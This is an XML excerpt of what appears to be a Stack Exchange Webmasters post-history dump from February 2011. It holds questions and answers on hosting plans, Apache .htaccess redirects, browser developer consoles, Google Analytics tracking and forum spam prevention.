  <row Id="20838" PostHistoryTypeId="3" PostId="9452" RevisionGUID="2e1e4d3e-0012-4c8a-aaf1-04aba5586a02" CreationDate="2011-02-21T04:09:09.323" UserId="3748" Text="&lt;hosting&gt;&lt;web-hosting&gt;&lt;shared-hosting&gt;&lt;windows&gt;&lt;microsoft&gt;" />
  <row Id="20839" PostHistoryTypeId="5" PostId="9452" RevisionGUID="05ea3dd8-60d2-40e7-a324-fa75ae488bf4" CreationDate="2011-02-21T04:16:22.327" UserId="3748" Comment="added 81 characters in body" Text="With GoDaddy &quot;[This service will not work on a Shared Hosting server. You will need to purchase a Dedicated or Virtual Dedicated Server.][1]&quot;  &#xD;&#xA;&#xD;&#xA;They want [$29.99/month][2].&#xD;&#xA;&#xD;&#xA;How can I get chart controls working for more a affordable price, like the usual 4.99/month&#xD;&#xA;&#xD;&#xA;Thank You.&#xD;&#xA;&#xD;&#xA;Anyone tried [WebWiz][3] /or [these][4],...  ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.godaddy.com/groups/web-hosting/forum/topic/microsoft-char-controls-work-here/&#xD;&#xA;  [2]: http://www.godaddy.com/hosting/virtual-dedicated-servers.aspx?ci=9013&#xD;&#xA;  [3]: http://www.webwiz.co.uk/web-hosting/windows-web-hosting.htm&#xD;&#xA;  [4]: http://www.hostsearch.com/windows_web_hosting.asp" />
  <row Id="20840" PostHistoryTypeId="2" PostId="9453" RevisionGUID="f013eafc-5fcf-423b-a3ec-1577a37262d9" CreationDate="2011-02-21T04:20:33.993" UserId="3748" Text="I have a single page like this too. I use freehostia host: http://www.freehostia.com/&#xD;&#xA;&#xD;&#xA;For free, it is a great value and easy to use! Good luck." />
  <row Id="20841" PostHistoryTypeId="2" PostId="9454" RevisionGUID="e62298f5-00aa-4148-a484-926b2b20c263" CreationDate="2011-02-21T04:25:32.877" UserId="3748" Text="[Opera DragonFly][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://my.opera.com/dragonfly/blog/" />
  <row Id="20842" PostHistoryTypeId="2" PostId="9455" RevisionGUID="f0ebe064-8c2e-47ef-bd36-186f75c78637" CreationDate="2011-02-21T04:56:10.413" UserId="1660" Text="The best and totally free option is [Dropbox][1] see details here http://wealthybohemian.com/?p=1153&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://db.tt/2K5URA1" />
  <row Id="20843" PostHistoryTypeId="25" PostId="9452" RevisionGUID="1094ef7b-82c3-49a2-a508-162b45dd0bb1" CreationDate="2011-02-21T05:22:47.800" Comment="http://twitter.com/#!/StackWebmasters/status/39555608256581632" />
  <row Id="20844" PostHistoryTypeId="6" PostId="8046" RevisionGUID="fdae6bd0-35ce-411e-9fc4-79497efa05a8" CreationDate="2011-02-21T05:45:48.170" UserId="1253" Comment="removed &quot;c&quot; tag" Text="&lt;spam&gt;&lt;spam-prevention&gt;&lt;moderation&gt;&lt;user-generated-content&gt;" />
  <row Id="20846" PostHistoryTypeId="17" PostId="9458" RevisionGUID="afb36a99-0b70-4bf4-b777-e3ef3096ff29" CreationDate="2011-02-21T06:10:18.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5061396/apache-domain-redirect-to-subfolder/5061498#5061498" Text="" />
  <row Id="20847" PostHistoryTypeId="17" PostId="9459" RevisionGUID="d6b6c848-5ae9-4554-8456-8d81c810c205" CreationDate="2011-02-21T06:10:18.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5061396/apache-domain-redirect-to-subfolder/5061500#5061500" Text="" />
  <row Id="20848" PostHistoryTypeId="2" PostId="9458" RevisionGUID="721c982d-01d6-4698-adab-a8bb1c6198be" CreationDate="2011-02-21T01:36:56.637" UserId="2533" Text="I run my own server on a similar principle, this is my configuration:&#xD;&#xA;&#xD;&#xA;It should work with little modification for you assuming that GoDaddy supports this type of thing (it seems to from your question), except you'll need to change paths obviously. This configuration rewrites into folders like `/var/www/vhosts/example.com/www` for `www.example.com`.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;  &#xD;&#xA;    # Directory listing icons!&#xD;&#xA;    RewriteRule   ^/icons/(.*)$   /var/www/icons/$1       [L]&#xD;&#xA;  &#xD;&#xA;    # Ensure there is no www.&#xD;&#xA;    RewriteCond   %{HTTP_HOST}    ^www\.(.*)$     [NC]&#xD;&#xA;    RewriteRule   ^(.*)$          http://%1$1     [R,L]&#xD;&#xA;  &#xD;&#xA;    # Special case for the base domain&#xD;&#xA;    RewriteCond   %{HTTP_HOST}    ^(localhost|[^.]+\.[^.]{1,8}(\.au)?)$   [NC]&#xD;&#xA;    RewriteRule   ^(.*)$          /var/www/vhosts/%1/www$1&#xD;&#xA;  &#xD;&#xA;    # Rewrite subdomains into subdirectories&#xD;&#xA;    RewriteCond   %{HTTP_HOST}    ^(.*?)\.(localhost|[^.]+\.[^.]{1,8}(\.au)?)$   [NC]&#xD;&#xA;    RewriteRule   ^(.*)$          /var/www/vhosts/%2/%1$1&#xD;&#xA;" />
  <row Id="20849" PostHistoryTypeId="2" PostId="9459" RevisionGUID="77882a3c-29cc-4496-854a-5891a1de2a5e" CreationDate="2011-02-21T01:37:02.983" UserDisplayName="Gajahlemu" Text="Let if your original www.domain.com document root is point to `/user../public_html/www.domain.com/` and you want to change that document root to `/user../public_html/www.domain.com/domain/www`&#xD;&#xA;try this conf on your.htaccess to change your www.domain.com document root to /domain/www&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^/$ /domain/www/&#xD;&#xA;&#xD;&#xA;Taken from [How to modify httpd&gt;documentroot via .htaccess?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.digitalpoint.com/showthread.php?t=732414" />
  <row Id="20850" PostHistoryTypeId="2" PostId="9457" RevisionGUID="e9816d42-82d9-4987-b5ce-27fefbdd3eb4" CreationDate="2011-02-21T01:13:32.803" UserDisplayName="Dennis" Text="I have a hosting account with godaddy.  Its a linux system running apache.  The way they do their setup is your primary domain is the root folder.  When you add a subdomain its in a subfolder of the root which sucks.  I want to setup a subfolder structure to organize my domains..  I called godday support and they said to use redirects.. but did not know how to do that..&#xD;&#xA;&#xD;&#xA;How its setup now:&#xD;&#xA;&#xD;&#xA;primary domain:&#xD;&#xA;&#xD;&#xA;&gt; www.domain.com /  &#xD;&#xA;&gt; sub.domain.com /sub&#xD;&#xA;&#xD;&#xA;I want to create a directory structure and then redirect to each but only show www.domain.com in the url&#xD;&#xA;&#xD;&#xA;&gt; www.domain.com /domain/www  &#xD;&#xA;&gt; sub.domain.com /domain/sub&#xD;&#xA;&#xD;&#xA;I tried using:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www.)?domain.com$&#xD;&#xA;    RewriteRule ^(/)?$ domain/www [L]&#xD;&#xA;&#xD;&#xA;but it just changes the url to www.domain.com/domain/www&#xD;&#xA;&#xD;&#xA;Can this be done in htaccess?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20851" PostHistoryTypeId="1" PostId="9457" RevisionGUID="e9816d42-82d9-4987-b5ce-27fefbdd3eb4" CreationDate="2011-02-21T01:13:32.803" UserDisplayName="Dennis" Text="apache domain redirect to subfolder" />
  <row Id="20852" PostHistoryTypeId="3" PostId="9457" RevisionGUID="e9816d42-82d9-4987-b5ce-27fefbdd3eb4" CreationDate="2011-02-21T01:13:32.803" UserDisplayName="Dennis" Text="&lt;mod-rewrite&gt;&lt;url-rewriting&gt;&lt;apache2&gt;&lt;rewrite&gt;" />
  <row Id="20853" PostHistoryTypeId="17" PostId="9457" RevisionGUID="22932cfa-c96b-4ef6-9db0-07859e5c9cd8" CreationDate="2011-02-21T06:10:18.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5061396/apache-domain-redirect-to-subfolder" Text="" />
  <row Id="20854" PostHistoryTypeId="2" PostId="9460" RevisionGUID="91711d0c-4041-4bf8-ad2f-d3cc86ce4ad2" CreationDate="2011-02-21T07:44:55.600" UserId="5534" Text="I thought I remember seeing this somewhere but maybe not.&#xD;&#xA;&#xD;&#xA;Isn't there an HTML tag for grouping forms similar to the &lt;hgroup&gt; tag for grouping headers?&#xD;&#xA;&#xD;&#xA;so for example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;fgroup&gt;&#xD;&#xA;        &lt;form&gt;&#xD;&#xA;            &lt;!-- misc. data --&gt;&#xD;&#xA;        &lt;/form&gt;&#xD;&#xA;        &lt;form&gt;&#xD;&#xA;            &lt;!-- misc. data --&gt;&#xD;&#xA;        &lt;/form&gt;&#xD;&#xA;    &lt;/fgroup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20855" PostHistoryTypeId="1" PostId="9460" RevisionGUID="91711d0c-4041-4bf8-ad2f-d3cc86ce4ad2" CreationDate="2011-02-21T07:44:55.600" UserId="5534" Text="html tag for grouping forms?" />
  <row Id="20856" PostHistoryTypeId="3" PostId="9460" RevisionGUID="91711d0c-4041-4bf8-ad2f-d3cc86ce4ad2" CreationDate="2011-02-21T07:44:55.600" UserId="5534" Text="&lt;html&gt;&lt;forms&gt;" />
  <row Id="20857" PostHistoryTypeId="25" PostId="9457" RevisionGUID="2cc270aa-bc0f-41c6-b3c4-46aa2171581b" CreationDate="2011-02-21T08:22:48.090" Comment="http://twitter.com/#!/StackWebmasters/status/39600911714222080" />
  <row Id="20858" PostHistoryTypeId="2" PostId="9461" RevisionGUID="c2f43103-c933-4bd1-ae11-19e4a08a807d" CreationDate="2011-02-21T08:52:56.193" UserId="5034" Text="your question sounds like you are rather new to running servers. if thats true, i would suggest you setup an old desktop or such at home because if you break something important you can just start over without any hustle." />
  <row Id="20859" PostHistoryTypeId="5" PostId="8555" RevisionGUID="1a296350-f44e-4110-b4ab-4ba4d0a218f6" CreationDate="2011-02-21T09:16:19.553" UserId="576" Comment="added info on REPL/Console option in Opera 11" Text="To *indirectly* reach the Console in Opera (checked on v9.6) the shortcut is CTRL + SHIFT + I while on Safari 5 (on Windows) it is CTRL + ALT + I&#xD;&#xA;&#xD;&#xA;I wish all the browser makers could get together to [standardize the keyboard shortcuts][1].&#xD;&#xA;&#xD;&#xA;Update: It appears that the REPL tab under the Scripts tab in Opera Dragonfly in Opera 11 is similar to the Console option that was available in previous Opera versions.&#xD;&#xA;&#xD;&#xA;I did not found much documentation on REPL after a cursory search, [except for this article][2] which has an indirect reference.&#xD;&#xA;&#xD;&#xA;I tried this command in REPL with the Google home page open &amp; it executed fine i.e. it hid the Google logo -&#xD;&#xA;document.getElementById('logo').style.visibility = 'hidden';&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvark.blogspot.com/2008/09/keyboard-shortcuts-common-to-firefox-ie.html&#xD;&#xA;  [2]: http://my.opera.com/dragonfly/blog/opera-dragonfly-for-opera-11-goes-final-and-a-new-experiment" />
  <row Id="20860" PostHistoryTypeId="2" PostId="9462" RevisionGUID="fbe1fc8b-3e32-4d35-9637-a6d34cc99941" CreationDate="2011-02-21T09:20:48.580" UserId="576" Text="You can find important metrics of your competitor at [Open Site Explorer][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org" />
  <row Id="20861" PostHistoryTypeId="2" PostId="9463" RevisionGUID="b042d003-f9b9-4c07-a6d3-9fdbf1f099c7" CreationDate="2011-02-21T10:07:04.833" UserId="5258" Text="I have a website on which I run Google Website Optimizer (A/B tests) and Google Analytics.&#xD;&#xA;&#xD;&#xA;We have automated tests that check some web pages and I am worried that this might interfere with Google Website Optimizer. I have added a filter to Google Analytics, so that Analytics will not track clicks that come from my own IP address. Can I do the same for Google Website Optimizer? How?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="20862" PostHistoryTypeId="1" PostId="9463" RevisionGUID="b042d003-f9b9-4c07-a6d3-9fdbf1f099c7" CreationDate="2011-02-21T10:07:04.833" UserId="5258" Text="How to exclude myself from Google Website Optimizer results?" />
  <row Id="20863" PostHistoryTypeId="3" PostId="9463" RevisionGUID="b042d003-f9b9-4c07-a6d3-9fdbf1f099c7" CreationDate="2011-02-21T10:07:04.833" UserId="5258" Text="&lt;google-analytics&gt;&lt;google-website-optimizer&gt;" />
  <row Id="20864" PostHistoryTypeId="2" PostId="9464" RevisionGUID="1a318393-1070-417b-9499-ef22f2a8bda4" CreationDate="2011-02-21T10:23:28.360" UserId="4502" Text="Maybe you're thinking of the fieldset tag?  &#xD;&#xA;There's nothing to group entire forms." />
  <row Id="20865" PostHistoryTypeId="2" PostId="9465" RevisionGUID="e04a3f7e-2a72-4172-aa68-538e8bb12767" CreationDate="2011-02-21T09:59:48.453" UserDisplayName="picardo" Text="I am using GoDaddy for my domains. Lately I've noticed that none of my &quot;domain.com&quot; addresses are mapping to the server correctly. I used &quot;Forward&quot; option from Domain Manager and forwarded it to &quot;www.domain.com&quot;, but it still is not working after a week. &#xD;&#xA;&#xD;&#xA;I don't have access to the server, so I can't use redirecting or url rewriting. What else can I do about this problem?" />
  <row Id="20866" PostHistoryTypeId="1" PostId="9465" RevisionGUID="e04a3f7e-2a72-4172-aa68-538e8bb12767" CreationDate="2011-02-21T09:59:48.453" UserDisplayName="picardo" Text="How to forward a &quot;domain.com&quot; to &quot;www.domain.com&quot;?" />
  <row Id="20867" PostHistoryTypeId="3" PostId="9465" RevisionGUID="e04a3f7e-2a72-4172-aa68-538e8bb12767" CreationDate="2011-02-21T09:59:48.453" UserDisplayName="picardo" Text="&lt;domains&gt;&lt;url&gt;" />
  <row Id="20868" PostHistoryTypeId="17" PostId="9465" RevisionGUID="2451e045-df22-4281-82fd-2f931d8d295f" CreationDate="2011-02-21T10:36:36.177" UserId="-1" Comment="from http://superuser.com/questions/248375/how-to-forward-a-domain-com-to-www-domain-com" Text="" />
  <row Id="20869" PostHistoryTypeId="2" PostId="9466" RevisionGUID="b6474d0e-63af-41b4-806e-24e6ebcc3378" CreationDate="2011-02-21T10:56:44.030" UserId="3453" Text="There you go:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.yoursite\.com [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.yoursite.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Put that in your .htaccess file.&#xD;&#xA;Also, if you don't have a line which states &quot;RewriteEngine On&quot; in your .htaccess, make sure you put one like that:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.yoursite\.com [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.yoursite.com/$1 [R=301,L]" />
  <row Id="20870" PostHistoryTypeId="2" PostId="9467" RevisionGUID="c2c82676-216c-45f1-8077-7d738494dc5b" CreationDate="2011-02-21T11:01:12.793" UserId="3718" Text="This is a DNS record issue.&#xD;&#xA;&#xD;&#xA;Make sure that you have a DNS A record called &quot;domain.com&quot;, and that it's pointing at your server. A lot of the time, people only have the &quot;www.domain.com&quot; A record believing you have to put www. before all domain names. However, people like myself never bother typing www., so we end up putting &quot;domain.com&quot;." />
  <row Id="20871" PostHistoryTypeId="2" PostId="9468" RevisionGUID="6f3e1629-d2dd-4e93-ad62-218200fabb75" CreationDate="2011-02-21T11:06:15.990" UserId="3453" Text="Most probably you'll need to set them up manually or hire a developer. Actually, you'd want to hire a developer because someone needs to support that. It's very risky to host eCommerce websites because you _need_ to keep everything working and up-to-date to avoid security issues.&#xD;&#xA;&#xD;&#xA;However, you might find [this][1] a helpful resource (Magento is a great app). While writing this, the website doesn't work for me but here's a [cached link][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/knowledge-base/entry/overview-how-multiple-websites-stores-work/&#xD;&#xA;  [2]: http://webcache.googleusercontent.com/search?q=cache:IKQ2w0HuwQYJ:www.magentocommerce.com/knowledge-base/entry/overview-how-multiple-websites-stores-work/+e+commerce+multiple+sites&amp;cd=1&amp;hl=bg&amp;ct=clnk&amp;gl=bg&amp;source=www.google.bg" />
  <row Id="20872" PostHistoryTypeId="2" PostId="9469" RevisionGUID="240d843a-ff2d-4449-86e4-a77a536c1999" CreationDate="2011-02-21T11:15:08.263" UserId="3453" Text="There aren't &quot;best practices&quot; for that. To stop spam you _need_ to be creative. Don't use captchas. As an owner of a big forum hosting company I can guarantee Captchas do not stop spambots, not even the hyped ReCaptcha.&#xD;&#xA;&#xD;&#xA;Think of some security question anyone would know how to answer. For example: &quot;Which number is larger: 1 or 328?&quot;. For a number of reasons this is a fairly effective way.&#xD;&#xA;&#xD;&#xA;Akismet is also nice but that is if you don't depend too much on user input because it often flags legit comments as spam comments. So it's not useful for forums, only for blogs and similar websites where you can afford to lose an user or 10." />
  <row Id="20873" PostHistoryTypeId="2" PostId="9470" RevisionGUID="37287e57-b158-4b16-ba1e-163d4bfcad50" CreationDate="2011-02-21T11:15:10.637" UserDisplayName="user5553" Text="a good quality backlink will be very helpful not just backlink anywhere" />
  <row Id="20874" PostHistoryTypeId="25" PostId="9465" RevisionGUID="6e4f7828-6cb5-406f-9a92-b98b0e5aa691" CreationDate="2011-02-21T11:22:48.303" Comment="http://twitter.com/#!/StackWebmasters/status/39646212839833601" />
  <row Id="20875" PostHistoryTypeId="2" PostId="9471" RevisionGUID="82c02310-a4ed-4cf1-a624-accf227f8669" CreationDate="2011-02-21T09:21:40.723" UserDisplayName="Amir E. Habib" Text="I am running a multilingual website, each lang on a different domain name. I am trying to lead all purchase requests to the checkout progress, which has its own domain too.&#xD;&#xA;&#xD;&#xA;In order to keep Google Analytics tracking I've updated the Google Analytics code accordingly.&#xD;&#xA;I set the source domain to 'multiple top-level domains'.&#xD;&#xA;&#xD;&#xA;Everything is going fine so far unless in E-commerce Overview; the &quot;Sources / Medium&quot; is always showing as (direct) - or the name of the source domain.&#xD;&#xA;&#xD;&#xA;Since I am redirecting using PHP header(location:.. etc.) the Google _link method doesn't seem to be working properly -  I want to focus on two questions:&#xD;&#xA;&#xD;&#xA;1. Should I create a new profile for the checkout domain in Google Analytics? (I am now using the profile ID of the source domain even though I move to the checkout domain, si that OK?)&#xD;&#xA;&#xD;&#xA;2. When I'm trying to pass the cookies of the source domain to the checkout domain, I notice that the Google cookies are copied to the new domain (the cookie path is .checkout-domain/) and they have the same values of the original cookies - But for some reason another set of cookies is created once I access a page with google analytics code in the checkout pages, with different values (same path). Feels like I'm doing something wrong here, so my question is - What am I doing wrong here? Does anyone have an idea how to pass the cookies to the checkout domain?&#xD;&#xA;" />
  <row Id="20876" PostHistoryTypeId="1" PostId="9471" RevisionGUID="82c02310-a4ed-4cf1-a624-accf227f8669" CreationDate="2011-02-21T09:21:40.723" UserDisplayName="Amir E. Habib" Text="Google Analytics checkout page tracking problem" />
  <row Id="20877" PostHistoryTypeId="3" PostId="9471" RevisionGUID="82c02310-a4ed-4cf1-a624-accf227f8669" CreationDate="2011-02-21T09:21:40.723" UserDisplayName="Amir E. Habib" Text="&lt;google-analytics&gt;&lt;multiple-domains&gt;" />
  <row Id="20878" PostHistoryTypeId="17" PostId="9471" RevisionGUID="b9f819b9-bbb5-421a-84ee-483a9a563fba" CreationDate="2011-02-21T11:38:09.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5064177/google-analytics-checkout-page-tracking-problem" Text="" />
  <row Id="20879" PostHistoryTypeId="2" PostId="9472" RevisionGUID="5f165084-474c-4e9a-9cf9-b23a948fac0c" CreationDate="2011-02-21T11:52:40.717" UserDisplayName="user5555" Text="I would recommend OpenCart, since it is very useful and easy to operate, especially if you are familiar with PHP. With a great mix of recipes for both beginners and intermediates, the [OpenCart 1.4 Template Design Cookbook][1] is a must. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://link.packtpub.com/SQ2ZHf" />
  <row Id="20880" PostHistoryTypeId="2" PostId="9473" RevisionGUID="6b6d6ddb-fafd-4e57-8bca-5bbb73b6378b" CreationDate="2011-02-21T12:26:18.540" UserId="5556" Text="I think the question says it all. I am using a server that exposes an svn repository through HTML, and am wondering if I can specify a previous revision of files when linking to it. I believe the server uses Apache and mod_dav, but am not sure as I don't administer it." />
  <row Id="20881" PostHistoryTypeId="1" PostId="9473" RevisionGUID="6b6d6ddb-fafd-4e57-8bca-5bbb73b6378b" CreationDate="2011-02-21T12:26:18.540" UserId="5556" Text="When viewing an svn repository through Apache in a web browser, is there a way to specify an old revision in the URL?" />
  <row Id="20882" PostHistoryTypeId="3" PostId="9473" RevisionGUID="6b6d6ddb-fafd-4e57-8bca-5bbb73b6378b" CreationDate="2011-02-21T12:26:18.540" UserId="5556" Text="&lt;apache&gt;&lt;svn&gt;" />
  <row Id="20883" PostHistoryTypeId="5" PostId="8525" RevisionGUID="a844320b-aadb-4172-8139-23814a573c35" CreationDate="2011-02-21T13:13:22.793" UserId="3382" Comment="added 18 characters in body; added 27 characters in body; added 2 characters in body" Text="#Chrome:&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to open the **Developer Tools**.  &#xD;&#xA;&#xD;&#xA;2. Click on the &quot;Open console.&quot; icon in the bottom left corner. &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#Safari 5: &#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to display the **Web Inspector**.  &#xD;&#xA;&#xD;&#xA;2. Click on the &quot;Open Console.&quot; icon in the bottom left corner.  &#xD;&#xA;&#xD;&#xA;Note: this only works if the &quot;Show Develop menu in menu bar&quot; check box in the Advanced tab of the Preferences menu is checked!&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#IE9: &#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;F12&lt;/kbd&gt; to open the developer tools.  &#xD;&#xA;&#xD;&#xA;2. Open the Script tab, click the &quot;Console&quot; button on the right. &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#Firefox 4:&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;K&lt;/kbd&gt; to open the **Web console**.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#Oprea 11&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to open **Dragonfly**.&#xD;&#xA;&#xD;&#xA;2. Open the &quot;Scripts&quot; tab and then at the bottom, open the &quot;REPL&quot; tab.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20884" PostHistoryTypeId="5" PostId="8525" RevisionGUID="b8ddc6b1-bc44-43f2-b0c3-28d073df6478" CreationDate="2011-02-21T13:21:28.717" UserId="3382" Comment="added 1 characters in body; edited tags" Text="#Chrome:&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to open the **Developer Tools**.  &#xD;&#xA;&#xD;&#xA;2. Click on the &quot;Open console.&quot; icon in the bottom left corner. &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#Safari 5: &#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to display the **Web Inspector**.  &#xD;&#xA;&#xD;&#xA;2. Click on the &quot;Open Console.&quot; icon in the bottom left corner.  &#xD;&#xA;&#xD;&#xA;Note: this only works if the &quot;Show Develop menu in menu bar&quot; check box in the Advanced tab of the Preferences menu is checked!&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#IE9: &#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;F12&lt;/kbd&gt; to open the developer tools.  &#xD;&#xA;&#xD;&#xA;2. Open the Script tab, click the &quot;Console&quot; button on the right. &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#Firefox 4:&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;K&lt;/kbd&gt; to open the **Web console**.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;#Opera 11:&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to open **Dragonfly**.&#xD;&#xA;&#xD;&#xA;2. Open the &quot;Scripts&quot; tab and then at the bottom, open the &quot;REPL&quot; tab.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20885" PostHistoryTypeId="6" PostId="8525" RevisionGUID="b8ddc6b1-bc44-43f2-b0c3-28d073df6478" CreationDate="2011-02-21T13:21:28.717" UserId="3382" Comment="added 1 characters in body; edited tags" Text="&lt;javascript&gt;&lt;browsers&gt;" />
  <row Id="20886" PostHistoryTypeId="2" PostId="9474" RevisionGUID="eb395133-8f77-4fdf-8314-f4dd8b4ecacd" CreationDate="2011-02-21T13:23:07.080" UserId="3312" Text="Check out [www.tsohost.co.uk][1] - they have a £14 a year plan which is actually very good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tsohost.co.uk" />
  <row Id="20887" PostHistoryTypeId="2" PostId="9475" RevisionGUID="fab8aee1-4f00-4418-8312-9bcc76a4f7d7" CreationDate="2011-02-21T13:43:21.827" UserId="3262" Text="**Why is .www deprecated?** &#xD;&#xA;&#xD;&#xA;&gt; In order to answer this question, we&#xD;&#xA;&gt; must first recall the definition of&#xD;&#xA;&gt; WWW:&#xD;&#xA;&gt; &#xD;&#xA;&gt; World Wide Web: n. Abbr. WWW &#xD;&#xA;&gt; &#xD;&#xA;&gt; 1) The complete set of documents&#xD;&#xA;&gt; residing on all Internet servers that&#xD;&#xA;&gt; use the HTTP protocol, accessible to&#xD;&#xA;&gt; users via a simple point-and-click&#xD;&#xA;&gt; system. &#xD;&#xA;&gt; &#xD;&#xA;&gt; 2) n : a collection of internet sites&#xD;&#xA;&gt; that offer text and graphics and sound&#xD;&#xA;&gt; and animation resources through the&#xD;&#xA;&gt; hypertext transfer protocol. By&#xD;&#xA;&gt; default, all popular Web browsers&#xD;&#xA;&gt; assume the HTTP protocol. In doing so,&#xD;&#xA;&gt; the software prepends the 'http://'&#xD;&#xA;&gt; onto the requested URL and&#xD;&#xA;&gt; automatically connect to the HTTP&#xD;&#xA;&gt; server on port 80. Why then do many&#xD;&#xA;&gt; servers require their websites to&#xD;&#xA;&gt; communicate through the www subdomain?&#xD;&#xA;&gt; Mail servers do not require you to&#xD;&#xA;&gt; send emails to&#xD;&#xA;&gt; recipient@mail.domain.com. Likewise,&#xD;&#xA;&gt; web servers should allow access to&#xD;&#xA;&gt; their pages though the main domain&#xD;&#xA;&gt; unless a particular subdomain is&#xD;&#xA;&gt; required.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Succinctly, use of the www subdomain&#xD;&#xA;&gt; is redundant and time consuming to&#xD;&#xA;&gt; communicate. The internet, media, and&#xD;&#xA;&gt; society are all better off without it.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Using the links at the top of the&#xD;&#xA;&gt; page, you may view recently validated&#xD;&#xA;&gt; domains as well as submit domains for&#xD;&#xA;&gt; real-time validation.&#xD;&#xA;&#xD;&#xA;Taken from no-www.org" />
  <row Id="20888" PostHistoryTypeId="2" PostId="9476" RevisionGUID="387880a5-ea7b-4ee2-b4d6-63dd1e858654" CreationDate="2011-02-21T14:00:12.893" UserId="5360" Text="Based on my research, as far as forums go, vBulletin is further evolved in this aspect. Single sign-on for the most providers is available on vBulletin. The Rating/Karma plugins are also more evolved on vBulletin.&#xD;&#xA;&#xD;&#xA;I want to thank XandOr for reminding me of Drupal because, at this time, that is indeed the most advanced social software I can build upon, even though it requires dozens of modules to get there.&#xD;&#xA;&#xD;&#xA;The final straw for my decision was this [comparison between vBulletin, Drupal (and others)][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.deanflory.com/articles/social_software_comparison/" />
  <row Id="20889" PostHistoryTypeId="2" PostId="9477" RevisionGUID="1bc2c854-f5e8-42e2-ba45-fc5ccac73b71" CreationDate="2011-02-21T14:08:31.897" UserId="-1" Text="" />
  <row Id="20890" PostHistoryTypeId="2" PostId="9478" RevisionGUID="7e05a04c-90d7-4ebd-bae6-5ae486627b86" CreationDate="2011-02-21T14:08:31.897" UserId="-1" Text="" />
  <row Id="20891" PostHistoryTypeId="5" PostId="9382" RevisionGUID="73bc732f-7df3-4c4f-8963-4bb440f9b94d" CreationDate="2011-02-21T14:12:55.280" UserId="1253" Comment="Removed unnecessary signature link" Text="No way! But calculating the keyword density and the position of the competitor calculating this things we can get an approximate result&#xD;&#xA;&#xD;&#xA;  [1]: http://www.contussupport.com" />
